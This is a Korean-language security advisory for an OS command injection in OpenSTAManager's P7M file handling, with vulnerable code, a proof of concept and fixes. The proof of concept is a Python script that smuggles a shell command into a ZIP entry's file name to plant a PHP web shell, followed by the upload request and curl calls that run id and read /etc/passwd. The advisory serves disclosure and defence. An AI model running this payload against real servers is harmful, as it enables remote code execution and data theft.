
CVE-2025-69212 - OpenSTAManager는 P7M 파일 처리 과정에서 OS 명령어 주입(Command Injection) 취약점이 존재합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-69212 |
| 심각도 | CRITICAL |
| 권고 | 권고 보기 |
| 발견자 | Lukasz Rybak |
P7M(서명된 XML) 파일 디코딩 기능에 심각한 OS 명령 주입 취약점이 존재합니다. 인증된 공격자는 악성 파일명을 가진 .p7m 파일이 포함된 ZIP 파일을 업로드하여 서버에서 임의의 시스템 명령을 실행할 수 있습니다.
파일: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
문제점:
$file 매개변수가 검증 없이 exec()에 직접 전달됩니다plugins/importFE_ZIP/actions.php:126 (자동 가져오기가 활성화된 경우)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
plugins/importFE/src/FatturaElettronica.php:56 (생성자)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name from user input!
.p7m 파일에 대해 decodeP7M()이 호출됩니다exec() 명령에 주입됩니다⚠️ 중요 참고 사항: PHP의 ZipArchive::extractTo()는 / 문자를 기준으로 파일명을 분리합니다. 페이로드의 명령에는 /가 포함되면 안 됩니다. 절대 경로 대신 cd directory && command를 사용하세요.
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
응답 (500 오류가 예상됨 - 명령 실행 후 XML 파싱이 실패함):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
검증 - 웹셸 생성됨:
웹셸은 인증 없이 공개적으로 접근 가능합니다:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
또는
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
발견자: Łukasz Rybak
본 CVE는 조정된 취약점 공개(coordinated vulnerability disclosure) 관행에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.